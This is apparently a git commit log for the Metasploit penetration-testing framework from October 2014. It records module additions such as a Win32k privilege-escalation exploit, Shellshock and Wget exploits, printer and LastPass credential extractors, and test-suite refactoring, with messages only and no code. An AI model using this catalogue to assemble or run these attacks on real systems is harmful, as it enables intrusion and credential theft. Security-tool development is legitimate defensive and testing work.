Jon Hart 1a37a6638c Fix splunk_upload_app_exec to work on new installs. Style 2014-10-30 18:28:56 -07:00
Jon Hart 55f245f20f Merge #3507 into local, recently updated branch of master for landing 2014-10-30 17:28:20 -07:00
OJ cc7f7c9986 Land #4108 - Avoid local offsets in CVE-2014-4113 2014-10-31 09:08:51 +10:00
OJ cbd616bbf5 A few sneaky style changes, but no functional ones
Changes were purely for style, and Juan was happy to let me make them
as part of the merge.
2014-10-31 09:08:11 +10:00
jvazquez-r7 6574db5dbb Fix the 64 bits code 2014-10-30 17:01:59 -05:00
James Lee d86d8e9092 Remove the now-unnecessary -L 2014-10-30 15:36:16 -05:00
Tod Beardsley 98607231e0 Bump to ruby-1.9.3-p550 2014-10-30 15:29:31 -05:00
Luke Imhoff 8b4767449f Fix constant leaks in Msf::EncodedPayload spec
MSP-11130

Switch to using 'Msf::Simple::Framework' shared context and explicit
module loading instead of loading all moduels to just test with one.
2014-10-30 14:56:47 -05:00
Luke Imhoff 325c01e45d Log constants leaked before and after suite
MSP-11130

Some constants can be leaked before suite if module are loaded during
spec loading, such as if a framework instance in made in the context
body of a spec instead of in a before callback.
2014-10-30 14:04:07 -05:00
sinn3r 92ad2c434d Land #4081 - Xerox workcentre 5735 LDAP service redential extractor 2014-10-30 13:52:07 -05:00
sinn3r 470a067384 Final changes 2014-10-30 13:51:44 -05:00
sinn3r 912f6c8eee Land #4085 - Xerox Administrator Console Password Extract 2014-10-30 13:37:32 -05:00
sinn3r 02b1c5c4bc Final changes 2014-10-30 13:37:02 -05:00
sinn3r 127d1640da Print password 2014-10-30 13:27:40 -05:00
Luke Imhoff ae0a98785f Print when Metasploit::Framework::Spec::Constants::Each before(:each) cleans
MSP-11130

Print to stderr the full description of the example when
`Metasploit::Framework::Spec::Constants.configure!`'s `before(:each)`
cleans constants as it may clean constants that are leaked from the
class level at parse time.
2014-10-30 12:34:55 -05:00
jvazquez-r7 03a84a1de3 Search the AccessToken 2014-10-30 12:17:03 -05:00
Joe Vennix 6dc13f90cd Update descriptions to mention Webview bugginess. 2014-10-30 10:55:56 -05:00
Joe Vennix 0ad9f95806 Remove stray alert() for debugging. 2014-10-30 10:52:06 -05:00
Joe Vennix 88040fbce0 Add another Android < 4.4 UXSS exploit. 2014-10-30 10:34:14 -05:00
Luke Imhoff c8e4745d6d Fail rake spec if leak tracking unnecessary
MSP-11130

Fail `rake spec` if
`Metasploit::Framework::Spec::Constants::Each.configure!`'s
`before(:each)` does not clean all leaked constants and if should be
removed so that it does not interefore with future specs.
2014-10-30 09:37:17 -05:00
Jon Hart 15e1c253fa Numerous cleanups for snmp_enumusers
* Bring in line with Ruby standards
* More sane format for adding new OSs
* Better logging for use on larger networks
* Better error handling
2014-10-29 23:54:32 -07:00
James Lee 667f1ca876 Move readline choice into a method 2014-10-29 22:33:23 -05:00
James Lee 7b77bbedaa Better explanations 2014-10-29 22:32:56 -05:00
James Lee 867329d4b3 Fix readline by mucking with load path 2014-10-29 22:14:49 -05:00
jvazquez-r7 ac939325ce Add module first version 2014-10-29 21:11:57 -05:00
Peter Arzamendi 9d56f0298a Changed upper XXX to lower XXX. 2014-10-29 20:09:02 -05:00
Luke Imhoff c2bd75b587 Clean up leaked constants
MSP-11130
2014-10-29 15:50:47 -05:00
Peter Arzamendi b35a8935db Updated get_once for get_once undefined method and EOFError 2014-10-29 13:47:07 -05:00
James Lee 4fb58ebba2 Force msfconsole to use stdlib's readline with -L 2014-10-29 13:21:31 -05:00
Luke Imhoff 7e2897277b Rename shared example file to match name
MSP-11130
2014-10-29 12:54:29 -05:00
Deral Heiland 64a59e805c Fix a simple typo 2014-10-29 12:40:24 -04:00
Luke Imhoff 892aeaf727 Metasploit::Framework::Spec::Constants cleaner
MSP-11130

Shared context will calls `Metasploit::Framework::Spec::Constants.clean
after each example.
2014-10-29 11:31:17 -05:00
Deral Heiland 1bf1be0e46 Updated to module based feedback from wchen-r7 2014-10-29 11:42:07 -04:00
Juan Escobar 2e53027bb6 Fix value of X7C2P cookie and typo 2014-10-29 08:32:36 -05:00
Peter Arzamendi 2bc8767751 Updated rescue to catch other errors from the socket API 2014-10-29 08:03:28 -05:00
Juan Escobar 9f21ac8ba2 Fix issues reported by wchen-r7 2014-10-28 21:31:33 -05:00
Jon Hart ba5035c7ef Prevent calling match when there is no WWW-auth header 2014-10-28 17:13:57 -07:00
Jon Hart a5d883563d Abort if 2013 desired but redirect didn't happen 2014-10-28 15:59:22 -07:00
Jon Hart 7ca4ba26b0 Show more helpful vprint messages when login fails 2014-10-28 15:48:04 -07:00
Jon Hart bce8f34a71 Set proper Cookie header from built cookie string 2014-10-28 15:41:36 -07:00
Jon Hart a3e1e11987 Ensure necessary cookies are present in OWA 2010 login response 2014-10-28 15:40:15 -07:00
Luke Imhoff 0d4b22ce7a Detect constant leaks in individual examples
MSP-11130

`Metasploit::Framework::Spec::Constants::Each.configure!` will set up an
`after(:each)` callback that will fail the example if there are leaked
constants.  Leaked constants are cleaned up to prevent misattribution.
2014-10-28 15:50:24 -05:00
Peter Arzamendi 604cad9fbb Updated timeout to default to 45 seconds to wait for the print job to finish. 2014-10-28 15:45:28 -05:00
Peter Arzamendi b17d6a661d Moved module to auxiliary/gather and updated timeout to wait for the printer job to complete before we try to grab the creds. 2014-10-28 15:23:47 -05:00
Peter Arzamendi 0e42cf25d1 Updated per wchen-r7's recommendations. Still waiting to hear on Nokogiri 2014-10-28 15:13:16 -05:00
Luke Imhoff f9b1f2a424 Extract Metasploit::Framework::Spec::Constants::Suite
MSP-11130

`Metasploit::Framework::Spec::Constants::Suite` extracts out
`LOG_PATHNAME`, `configure!`, and `define_task` as those piece are
specific to handling constant leaks for the entire suite.  This is in
preparation for `Metasploit::Framework::Spec::Constants::Each`.
2014-10-28 15:07:32 -05:00
Tod Beardsley 9c028c1435 Fixes #4083, make the split nil-safe
In the reported case, the expected cookies were not present on the
response, thus, the second split was trying to split a `nil`. This
solves the immediately problem by a) splitting up the splits into
discrete sections, and b) `NilClass#to_s`'ing the result of the first
split.

This makes the split safe. Now, there may be a larger issue here where
you're not getting the expected cookies -- it sounds like the target in
this case is responding differently, which implies that the module isn't
going to be effective against that particular target. But, at least it
won't crash. It may merely try fruitlessly the entire run, though. I
can't know without looking at a pcap, and in the reported case, a pcap
seems unlikely since this was a bug found in the field.
2014-10-28 14:59:20 -05:00
Luke Imhoff 3ec9cf54c9 Filter non-loaded-module constants from leaked constants
MSP-11130

Constants from library Modules or Classes should not be reported as
leaked since they have been required and should be persistent between
spec runs.
2014-10-28 14:05:27 -05:00
Luke Imhoff 1a1f3335b8 Extract Metasploit::Framework::Spec::Constants.full_name
MSP-11130

Extract method to convert child constant names to module full names so
it can be reused 'Metasploit::Framework::Spec::Constants tracker' shared
context.
2014-10-28 13:53:48 -05:00
William Vu 71a6ec8b12 Land #4093, cups_bash_env_exec CVE-2014-6278 2014-10-28 12:47:51 -05:00
Brendan Coles 57baf0f393 Add support for CVE-2014-6278 2014-10-28 17:10:19 +00:00
William Vu 3de5c43cf4 Land #4050, CUPS Shellshock
Bashbleeded!!!!!!!!!!!
2014-10-28 11:59:31 -05:00
Peter Arzamendi 1012cd8d6b Updated based on wchen-r7 feedback. 2014-10-28 11:38:50 -05:00
Luke Imhoff a0a9c2140b Log leaked constants and fail rake spec on leak
MSP-11130

Instead of printing the leaked constants to stderr, log them to
`log/leaked-constants.log`.  In task action for spec, read
`log/leaked-constants.log`.  If it exists, print each leaked constants
(and it appropriate it's module full name) and then exit with 1.  If the
file does not exist, do nothing.
2014-10-28 11:21:35 -05:00
Brendan Coles 78b199fe72 Remove CVE-2014-6278 2014-10-28 16:18:24 +00:00
Joe Vennix c6bbc5bccf Merge branch 'landing-4055' into upstream-master 2014-10-28 11:18:20 -05:00
Deral Heiland 9021e4dae6 Xerox Workcentre firmware injection exploit 2014-10-28 11:15:43 -04:00
jvazquez-r7 5e0993d756 Add OJ as author 2014-10-28 09:58:34 -05:00
jvazquez-r7 c1b82bac0e Land #4082, @OJ's cleanup and improvements for CVE-2014-4113 2014-10-28 09:49:18 -05:00
Tod Beardsley dade6b97ba Land #4088, wget exploit
Fixes #4077 as well.
2014-10-28 09:03:07 -05:00
Brendan Coles a060fec760 Detect version in check() 2014-10-28 12:28:18 +00:00
Tom Sellers c6519d08c0 Merge pull request #2 from wvu-r7/pr/4063
Change killing back to stopping
2014-10-28 06:07:52 -05:00
William Vu 4251ad199e Change killing back to stopping
Got a little excited with the copypasta, I guess.
2014-10-28 05:49:30 -05:00
Tom Sellers 88d093eb7e Merge pull request #1 from wvu-r7/pr/4063
Add support for jobs -k ranges from @wvu
2014-10-28 05:00:54 -05:00
William Vu 5547890002 Add support for sessions -d ranges 2014-10-28 03:07:46 -05:00
William Vu 36c85b7150 Add support for jobs -k ranges 2014-10-28 03:01:53 -05:00
sinn3r e31c9f579d Land #3987 - Buffalo Linkstation NAS Login Scanner 2014-10-28 01:45:57 -05:00
HD Moore 64c206fa62 Add module for CVE-2014-4877 (Wget) 2014-10-27 23:37:41 -05:00
William Vu 4e12fdb057 Land #4087, COPYING copyright year update 2014-10-27 23:34:15 -05:00
Tod Beardsley d8b71b94a7 With 66 days left in 2014, may as well update 2014-10-27 23:07:57 -05:00
HD Moore 958fe2e5bc Allow PASV port specification, lands #4086 2014-10-27 22:24:14 -05:00
Tod Beardsley d8cf45ef67 Allow FTP server exploits pick a PASV port
This makes it somewhat easier to use FTP server exploit modules in
somewhat more restrictive networks, where you might only have a few
inbound ports to choose from.
2014-10-27 22:21:54 -05:00
James Lee 77d4623c44 Fix respond_to specs for protected methods 2014-10-27 19:39:32 -05:00
Peter Arzamendi 0b225d94b1 Xerox Admin password extractor. 2014-10-27 19:26:40 -05:00
Juan Escobar 2ba2388889 Fix issues reported by jvasquez 2014-10-27 19:15:39 -05:00
jvazquez-r7 b990b14a65 Land #3771, @us3r777's deletion of jboss_bshdeployer STAGERNAME option 2014-10-27 18:09:35 -05:00
jvazquez-r7 cf9d53fb50 Undo mixin modification 2014-10-27 18:09:03 -05:00
OJ 908094c3d3 Remove debug, treat warnings as errors 2014-10-28 09:04:02 +10:00
OJ 0a03b2dd48 Final code tidy 2014-10-28 08:59:33 +10:00
OJ 6f3b373f01 More code tidy and unifying of stuff 2014-10-28 08:37:49 +10:00
parzamendi-r7 f7f6cff327 Update xerox_workcentre_5XXX_ldap.rb 2014-10-27 17:23:47 -05:00
jvazquez-r7 e6e4aaba3e Land #3518, @midnitesnake's fix for solaris sadmind_exec 2014-10-27 17:19:06 -05:00
jvazquez-r7 0b6406ae40 Land #4080, @todb-r7's switch to TLS1 on TCP and TCPServer 2014-10-27 17:15:36 -05:00
OJ 0e761575c8 More code tidying, reduced x64/x86 duplication 2014-10-28 08:09:18 +10:00
OJ 062eff8ede Fix project settings, make files, start tidying of code 2014-10-28 07:58:19 +10:00
midnitesnake bc57e5d057 Merge pull request #2 from jvazquez-r7/review_3518
Force perl encoding
2014-10-27 21:32:17 +00:00
Luke Imhoff dae114a7f3 Document how to derive reference_name from ancestors
MSP-11145
2014-10-27 15:59:12 -05:00
Tod Beardsley 7d34452448 TCP and TCPServer should use TLS1 by default 2014-10-27 15:55:50 -05:00
Peter Arzamendi f119abbf8c Xerox workcentre 5735 LDAP credential extractor 2014-10-27 15:52:12 -05:00
jvazquez-r7 373ce8d340 Use perl encoding 2014-10-27 15:30:02 -05:00
Luke Imhoff 485860ebfb Uncomment specs used to cause failure
MSP-11145

Restore commented out specs so that that the untested payloads check
passes.
2014-10-27 15:27:16 -05:00
Luke Imhoff 216360d664 Add missing require
MSP-11145
2014-10-27 15:19:59 -05:00
William Vu 1508be6254 Fix whitespace in lib/msf/ui/banner.rb for #4073 2014-10-27 14:49:44 -05:00
William Vu 7f66d18cfd Clean up whitespace a bit 2014-10-27 14:49:27 -05:00
Luke Imhoff f37ca3e82b SPEC -> SPEC_OPTS
MSP-11145

Fix typo in .travis.yml
2014-10-27 14:46:40 -05:00
jvazquez-r7 9da83b6782 Update master changes 2014-10-27 14:35:30 -05:00
Luke Imhoff 43552a8304 Tag module specs with :content
MSP-11145

Tag content-related specs so they can be run separately in travis-ci.
2014-10-27 14:25:34 -05:00
William Vu 626cd55b5e Land #4073, improved banner selection 2014-10-27 14:20:10 -05:00
Luke Imhoff c84febea5f tools/missing-payload-tests.rb
MSP-11145

**NOTE: Failing specs**

Add a tool for reading `log/untested-payload.log` and
`framework.payloads` to determine `context`s to add
`spec/modules/payloads_spec.rb` to test the untested payloads.
2014-10-27 13:03:31 -05:00
Spencer McIntyre 04a99f09bb Land #4064, Win32k.sys NULL Pointer Dereference 2014-10-27 14:01:07 -04:00
jvazquez-r7 f24129933f Land jvazquez-r7#22, @zeroSteiner 64 bits version 2014-10-27 12:19:06 -05:00
jvazquez-r7 042d29b1d6 Compile binaries in house 2014-10-27 12:18:33 -05:00
William Vu 090d9b95d1 Land #4078, pureftpd_bash_env_exec desc. update 2014-10-27 12:12:09 -05:00
William Vu 950fc46e4b Normalize description 2014-10-27 12:09:39 -05:00
Jon Hart b8c9ef96ca Land #4003, @nstarke's Login Scanner for WD MyBook Live NAS 2014-10-27 09:57:43 -07:00
Jon Hart 765b5e686c Use configured method and URI rather than duplicated values 2014-10-27 09:56:39 -07:00
Spencer McIntyre 830f631da4 Make the check routine less strict 2014-10-27 12:51:20 -04:00
Luke Imhoff 1df82ea273 Fix typo in file name
MSP-11145
2014-10-27 11:34:26 -05:00
Luke Imhoff 605f48e58d Detect leaked constants under Msf::Modules
MSP-11130

Detect constants leaked under Msf::Modules after the suite completes.
2014-10-27 11:13:43 -05:00
James Lee 7081026ae6 Fix some specs broken by 2.x's new rules
* default utf-8 everywhere broke tests in lib/rex/text_spec that dealt
   with binary data
 * new protected rules
2014-10-27 10:28:24 -05:00
James Lee d4e2d533bf Add ruby 2.x to travis testing 2014-10-27 10:28:24 -05:00
Spencer McIntyre d6a63ccc5e Remove unnecessary C debugging code for the exploit 2014-10-27 11:24:23 -04:00
sinn3r aa5dc0a354 100 columns per line 2014-10-27 10:24:11 -05:00
sinn3r 7e56948191 Update description about pureftpd_bash_env_exec
Make exploitable requirements more obvious
2014-10-27 10:23:06 -05:00
Spencer McIntyre 46b1abac4a More robust check routine for cve-2014-4113 2014-10-27 11:19:12 -04:00
Spencer McIntyre 5fa0403ac5 Land zeroSteiner/metasploit-framework#10 check clean up 2014-10-27 11:05:16 -04:00
jvazquez-r7 4406972b46 Do version checking minor cleanup 2014-10-27 09:32:42 -05:00
Spencer McIntyre 2d76a8da4a Land zeroSteiner/metasploit-framework#9 clean up 2014-10-27 09:11:19 -04:00
Juan Escobar 848f24a68c update module description 2014-10-27 02:07:16 -05:00
root d66dc88924 Add PHP Code Execution for X7 Chat 2.0.5 2014-10-27 01:01:31 -05:00
jvazquez-r7 0aaebc7872 Make GetPtiCurrent USER32 independent 2014-10-26 18:51:02 -05:00
jvazquez-r7 c319ea91b3 Delete verbose print 2014-10-26 17:31:19 -05:00
jvazquez-r7 34697a2240 Delete 'callback3' also from 32 bits version 2014-10-26 17:28:35 -05:00
HD Moore 313c2407ad Re-adds db.creds RPC call, lands #4075 2014-10-26 16:01:29 -05:00
Spencer McIntyre 7416c00416 Initial addition of x64 target for cve-2014-4113 2014-10-26 16:54:42 -04:00
scriptjunkie aba25cb28c Make RPC creds work again 2014-10-26 15:50:40 -05:00
Brendan Coles 554935e60b Add check() and support CVE-2014-6278 2014-10-26 18:11:36 +00:00
scriptjunkie 6e39c5be70 land #2134 psexec_command improvements 2014-10-26 09:21:07 -05:00
scriptjunkie 4dfbce425a use vprintf... 2014-10-26 09:20:32 -05:00
scriptjunkie c31fb0633d Merge branch 'wp-psexeccmd' of github.com:webstersprodigy/metasploit-framework into webstersprodigy-wp-psexeccmd 2014-10-26 09:05:25 -05:00
Tom Sellers 13b6f1cf48 Syntax changes 2014-10-25 09:39:15 -05:00
nstarke 44f7db4798 Refactoring Success Case
I have refactored the code so that it will work with
non-root accounts.
2014-10-25 13:31:36 +00:00
midnitesnake e5347b4bdb Merge pull request #1 from jvennix-r7/merge-snmp-bsd-fix
Use the SNMP fix from master.
2014-10-25 08:21:51 +01:00
Joshua Smith 0d449cb88d resolves merge conflict between #4071 / #4072 2014-10-24 13:11:35 -05:00
Joe Vennix 136c2c4377 Use the SNMP fix from master. 2014-10-24 13:01:06 -05:00
Spencer McIntyre 65a50bdc83 Land #4071, Change be_false to be_falsey in exe_spec 2014-10-24 13:52:58 -04:00
Spencer McIntyre 91dc875af5 Remove seemingly useless file among banners 2014-10-24 13:11:58 -04:00
Spencer McIntyre c1a61e3b4e Support an MSFLOGO env var and logo enumeration 2014-10-24 13:07:28 -04:00
Joshua Smith e583cce7f2 changes be_false to be_falsey in exe_spec 2014-10-24 11:11:44 -05:00
Joshua Smith 4fa8aaecd2 Land #4069, rspec coverage for eicar corruption 2014-10-24 11:05:30 -05:00
Joshua Smith 72f2b57924 Land #4070, fix inverted eicar corruption logic
Fixes #4068
2014-10-24 10:48:58 -05:00
Joe Vennix 813a2f8c1c Oops, false not true. 2014-10-24 10:48:58 -05:00
Joe Vennix 028fb3279f Add spec for ensuring is_eicar_corrupted? is false. 2014-10-24 10:48:58 -05:00
Joshua Smith a9e52437f0 fixes inverted EICAR corruption logic 2014-10-24 10:27:13 -05:00
Joe Vennix 2efdd14ad2 Oops, false not true. 2014-10-24 10:18:40 -05:00
Joe Vennix 280ee26545 Add spec for ensuring is_eicar_corrupted? is false. 2014-10-24 10:16:18 -05:00
Spencer McIntyre 82f41d56a6 Add [user_]logos_directory to Msf::Config 2014-10-24 10:52:05 -04:00
Joshua Smith 3b8067e9a2 fixes refactor error in msf/util/exe 2014-10-23 22:15:19 -05:00
Joshua Smith 34f29f218c really resolve merge conflicts 2014-10-23 21:51:33 -05:00
Joshua Smith bf63d85e5c fixes merge conflicts msfpayload & exe 2014-10-23 21:43:46 -05:00
Nicholas Starke ed9b7eae57 Merge pull request #1 from jhart-r7/landing-4003-jhart
Cleanup.  Sanity check in setup.  vprint
2014-10-23 19:49:32 -05:00
jvazquez-r7 d8eaf3dd65 Add exploit source code 2014-10-23 18:59:58 -05:00
jvazquez-r7 a75186d770 Add module for CVE-2014-4113 2014-10-23 18:51:30 -05:00
sinn3r 7cb4320a76 Land #3561 - unix cmd generic_sh encoder 2014-10-23 15:48:00 -05:00
sinn3r 13fd6a3374 Land #4046 - Centreon SQL and Command Injection 2014-10-23 13:17:00 -05:00
sinn3r ce841e57e2 Rephrase about centreon.session 2014-10-23 13:15:55 -05:00
Trevor Rosen 33ca914fc1 Merge branch 'landing/4045' into upstream-staging/great-backport
Land #4045
2014-10-23 13:02:29 -05:00
sinn3r 889045d1b6 Change failure message 2014-10-23 12:55:27 -05:00
Trevor Rosen 75333702a2 Merge branch 'land/4028' into upstream-master
Land #4028
2014-10-23 12:36:35 -05:00
Luke Imhoff 48d6880f1d Add docs for untested payload testing
MSP-11145

Add docs to rake task, shared examples, and share contexts for how to
use all 3 together.
2014-10-23 11:17:05 -05:00
Luke Imhoff 2a82f45f06 Remove unneeded section comment
MSP-11145
2014-10-23 10:53:24 -05:00
Luke Imhoff f827a1c761 Extract untested-payloads.log checker spec task action
MSP-11145

Extract the spec task action which errored out if
`log/untested-payloads.log` exists to
`Metasploit::Framework::Spec::UntestedPayloads.define_task`.
2014-10-23 10:24:33 -05:00
Luke Imhoff a7317cb86c Extract 'untested payloads' shared context
MSP-11145

Detects if payloads are untested when using the 'payload can be
instantiated' shared examples.
2014-10-23 09:55:14 -05:00
Luke Imhoff 6c3c830efb Extract 'payload can be instantiated' shared example
MSP-11145

Extracted so that pro can use it.
2014-10-23 09:35:52 -05:00
Luke Imhoff 88839e841a Extract 'all modules with module type can be instantiated' shared example
MSP-11145

Extracted so it can be used by pro.
2014-10-23 09:31:44 -05:00
Tom Sellers 2a6a8245cf Allow killing multiple specific sessions 2014-10-23 05:56:26 -05:00
Joshua Smith f19b093529 cleans & DRYs exploit/exe & util/exe & msfpayload 2014-10-23 01:10:38 -05:00
Jon Hart 83df08aaa7 Properly encode body and catch invalid configs 2014-10-22 22:43:06 -07:00
Jon Hart c765100efd Land #4004, @martinvigo's LastPass master password extraction module 2014-10-22 16:34:54 -07:00
Jon Hart 29b61984c5 Update to use correctly joined path 2014-10-22 16:34:17 -07:00
sinn3r 42cd288bc0 Land #4057 - Bring back TCP::max_send_size and TCP::send_delay options
Fix #3967
2014-10-22 16:23:15 -05:00
sinn3r 0ea03c00a5 Use print_brute instead of print_good for format consistency 2014-10-22 16:14:45 -05:00
James Lee a5a84886ee Make sure vnc closes the socket 2014-10-22 15:53:05 -05:00
HD Moore e479a6308c Update session.shell_upgrade to match #3401, lands #4058 2014-10-22 15:26:33 -05:00
Tim Wright 7f7f257426 fix session.shell_upgrade after #3401 2014-10-22 21:22:10 +01:00
Tim Wright c488e40959 Land #3401, shell to meterpreter upgrade by @TomSellers
Merge branch 'landing-3401' into upstream-master
2014-10-22 20:51:18 +01:00
Tim Wright 6d04c46897 delete the old script 2014-10-22 20:49:21 +01:00
Tim Wright b8c3fadb9e python 3 is supported now too :) 2014-10-22 20:10:48 +01:00
Tim Wright 8c3c73a72d inline the error message 2014-10-22 20:08:14 +01:00
Tim Wright 2ab73688dc use framework.threads to launch cleanup thread 2014-10-22 19:40:29 +01:00
Tim Wright 22fc6496ac Merge branch 'pr/3401' into landing-3401 2014-10-22 19:23:01 +01:00
Jon Hart ce8a9941ea Cleanup. Sanity check in setup. vprint 2014-10-22 10:36:24 -07:00
Jon Hart 7b33ff1363 Land #3767, @jvazquez-r7's specs for Rex::Encoder::XDR 2014-10-22 09:22:53 -07:00
James Lee bb119b840a Move Tcp specs into their own shared example
All the Tcp options formerly in RexSocket got moved, this just brings
the specs in line with the new reality.
2014-10-22 09:16:14 -05:00
James Lee 46acf08e2d Merge remote-tracking branch 'upstream/master' into bug/msp-11497/loginscanner-tcp-evasions 2014-10-22 09:09:34 -05:00
nstarke ee3dd3a2ac More Fixes for WD MyBook Live Scanner
Fixes include removing deregistered options
from credentials collection object and adding proof
 when there is no response
2014-10-22 03:06:21 +00:00
James Lee 0fcd1ac4f6 Restore tcp evasions to smb_login 2014-10-21 18:59:11 -05:00
James Lee e1a7e902d6 Re-enable tcp evasions for more LoginScanners
Untested since I don't have targets for these.
2014-10-21 18:58:28 -05:00
jvazquez-r7 3bffd24e61 Land #4056, @wchen-r7's fix for Loginscanner specs 2014-10-21 17:37:30 -05:00
sinn3r 49b088d112 Use be_a 2014-10-21 17:15:54 -05:00
sinn3r 9de1c95b22 It's Connection timed out 2014-10-21 16:53:47 -05:00
sinn3r d1881108cf Fix db2 rspec 2014-10-21 16:35:20 -05:00
sinn3r b5d536d165 Fix mysql rspec 2014-10-21 16:34:10 -05:00
sinn3r ebbfa56f24 Land #4052 - Fix Proxies datastore option for LoginScanners
Fixes #3836
Fixes #3959
Fixes #3963
2014-10-21 15:43:22 -05:00
sinn3r 6d11ec8477 These mods support Proxies, so make the option visible for the user 2014-10-21 15:39:24 -05:00
Luke Imhoff f66c714105 Clear log/untested-payloads.log
MSP-11145

Delete log/untested-payloads.log when all payloads are tested so that
`rake spec` does not exist 1 when it should exit 0.
2014-10-21 13:53:48 -05:00
sinn3r db7c420d8d Merge the latest changes 2014-10-21 13:49:42 -05:00
Luke Imhoff da450f49a4 Fail rake spec if untested payloads
MSP-11145

Add action to spec task that will cause spec to exit(1) if
log/untested-payloads.log exists.  The untested payloads are then
printed with instructions of which spec to update.
2014-10-21 13:46:39 -05:00
James Lee f9f8c413a8 Derp, ssh modules don't include Tcp for #proxies 2014-10-21 13:28:13 -05:00
Luke Imhoff 003d8547c4 Failing with untested payloads to log
MSP-11145

Log untested payloads to log/untested-payloads.log.
2014-10-21 13:23:15 -05:00
sinn3r 79d393c5aa Resolve merge conflicts
Conflicts:
	lib/msf/core/exploit/smb.rb
	lib/msf/core/exploit/tcp.rb
	modules/auxiliary/scanner/http/axis_login.rb
2014-10-21 13:06:35 -05:00
Luke Imhoff 8f3e064e0b Connect actual_ancestor_reference_names to tests
MSP-11145
2014-10-21 12:56:59 -05:00
Luke Imhoff 653c5ccf4a Log untested payloads to stderr
MSP-11145

This commit is a proof that the logger works.  It does no connect the
adding tested payloads reference names to the
actual_ancestor_reference_name_set to show that the logger is working.
2014-10-21 12:44:01 -05:00
James Lee 83b1d270cd Fix ftp and mssql 2014-10-21 11:09:39 -05:00
James Lee 8b2dcac730 Fix telnet 2014-10-21 11:08:41 -05:00
James Lee 4705aeb762 Restore tcp evasions to ftp, pop3, vnc 2014-10-21 11:06:55 -05:00
Luke Imhoff 162c62f205 Fix ancestor reference names in spec
MSP-11145

ancestor_reference_name derivation was using the source_location of
initialize, but that didn't work for payload modules whose #initialize
was only in mixin Modules.
2014-10-21 10:26:28 -05:00
James Lee 7d150ce0dd Add tcp evasions to mysql 2014-10-21 10:05:18 -05:00
James Lee 2fcb1004fb Move tcp options to Tcp::Client out of RexSocket 2014-10-21 09:59:26 -05:00
James Lee e76ee294a1 Restore tcp evasions to telnet 2014-10-21 09:44:55 -05:00
Luke Imhoff 9dfbbbde7d Add missing require
MSP-11145
2014-10-21 09:39:31 -05:00
Luke Imhoff 556bf361a2 Failing payloads spec
MSP-11145

Spec fails due to missing requires.
2014-10-21 09:33:01 -05:00
James Lee cb9a77c06b Fix NoMethodError when unable to connect
Derp.
2014-10-21 08:58:45 -05:00
James Lee 6f3b26f5e9 Remove tcp evasions from Http
Can't use 'em anyway
2014-10-21 08:27:29 -05:00
nstarke 82b74d5f3c Fixes to MyBook Live Module
This commit contains three fixes as requested on PR
#4003.  Those include:

+ Removing extraneous puts statement
+ Checking for valid response
+ SSL support.
2014-10-21 00:50:40 +00:00
nstarke 70b13819d9 Adding Login Scanner for MyBook Live
This is a LoginScanner auxiliary module for Western
Digital MyBook Live NAS devices as well as the spec
for testing.
2014-10-21 00:50:40 +00:00
jvazquez-r7 d6f4c02c2a Land #3979, @wchen-r7 fixes #3976, http_login not using TARGETURI, neither uri normalization 2014-10-20 18:10:57 -05:00
Spencer McIntyre f886ab6f97 Land #4020, Jenkins-CI CSRF token support 2014-10-20 19:03:24 -04:00
jvazquez-r7 74ac16081f Land #3981, @wchen-r7 Fixes #3974, axis_login.rb does not normalize URI 2014-10-20 17:51:13 -05:00
jvazquez-r7 00f137cdcf Land #4040, @nullbind's MS SQL privilege escalation through SQLi 2014-10-20 16:23:50 -05:00
jvazquez-r7 acc590b59c Modify metadata 2014-10-20 16:22:10 -05:00
jvazquez-r7 1381c7fb37 Modify title 2014-10-20 16:17:47 -05:00
jvazquez-r7 323680c31a Clean code 2014-10-20 16:17:06 -05:00
jvazquez-r7 3d03a8c788 Land @jhart-r7's fix for decode_int 2014-10-20 14:44:06 -05:00
Luke Imhoff bf23926314 Spec all posts can be instantiated
MSP-11145
2014-10-20 13:42:21 -05:00
jvazquez-r7 c77a0984bd Land #3989, @us3r777's exploit for CVE-2014-7228, Joomla Update unserialize
the commit.
 empty message aborts
2014-10-20 13:39:08 -05:00
Luke Imhoff 535dea1d7d Spec all nops can be instantiated
MSP-11145
2014-10-20 13:35:57 -05:00
Luke Imhoff 594b0bf7bb Spec all exploits can be instantiated
MSP-11145
2014-10-20 13:32:55 -05:00
jvazquez-r7 4e6f61766d Change module filename 2014-10-20 13:31:22 -05:00
Luke Imhoff 103382a2ef Spec all encoders can be instantiated
MSP-11145
2014-10-20 13:31:12 -05:00
jvazquez-r7 e202bc10f0 Fix title 2014-10-20 13:30:44 -05:00
Jon Hart 82de2eb1f3 Fix Rex::Encoder::XDR.decode_int! to properly handle short data 2014-10-20 11:30:13 -07:00
jvazquez-r7 f07c5de711 Do code cleanup 2014-10-20 13:27:48 -05:00
Luke Imhoff 2c997d99b5 Extract module instantiation context to shared examples
MSP-11145
2014-10-20 13:21:22 -05:00
Luke Imhoff 7e9398e1af Spec all auxiliary modules can be instantiated
MSP-11145
2014-10-20 12:52:07 -05:00
Tod Beardsley 85f48a3fb2 Land #3738, SMBServer file descriptor updates 2014-10-20 12:40:43 -05:00
sinn3r dbaf9c5857 Land #4001 - HP Data Protector EXEC_INTEGUTIL Remote Code Execution 2014-10-20 11:44:21 -05:00
HD Moore 935a23296d Updates to NAT-PMP, lands #4041 2014-10-20 11:26:26 -05:00
sinn3r 6b9742b444 Land #3966 - Add exploit for CVE-2014-4872 BMC / Numara Track-It! 2014-10-20 11:23:23 -05:00
William Vu c1c5b0bf6a Land #4051, typo and grammar fixes 2014-10-20 11:08:37 -05:00
Tod Beardsley 6812b8fa82 Typo and grammar 2014-10-20 11:02:09 -05:00
jvazquez-r7 052a9fec86 Delete return 2014-10-20 10:52:33 -05:00
jvazquez-r7 199f6eba76 Fix check method 2014-10-20 10:46:40 -05:00
James Lee 3051b6c5ba Clean up exceptions
Of particular note is mysql, who was rescuing Rex::ConnectionTimeout
*after* Rex::ConnectionError, which never would have fired anyway.
2014-10-20 10:27:02 -05:00
us3r777 16101612a4 Some changes to use primer
Follow wiki How-to-write-a-module-using-HttpServer-and-HttpClient
2014-10-20 17:26:16 +02:00
James Lee b7d69bec83 Restore proxies to ssh scanners 2014-10-20 10:19:06 -05:00
us3r777 1e143fa300 Removed unused variables 2014-10-20 16:58:41 +02:00
jvazquez-r7 57fe829f96 Switch generic_sh's rank to ManualRanking 2014-10-20 09:34:19 -05:00
jvazquez-r7 c991c5e377 Readd generic_sh encoder 2014-10-20 09:33:34 -05:00
nullbind 036d43ba37 fixed logic bug 2014-10-19 20:56:29 -05:00
Martin Vigo a7dc0b9f07 Merge pull request #3 from jhart-r7/landing-4004-jhart
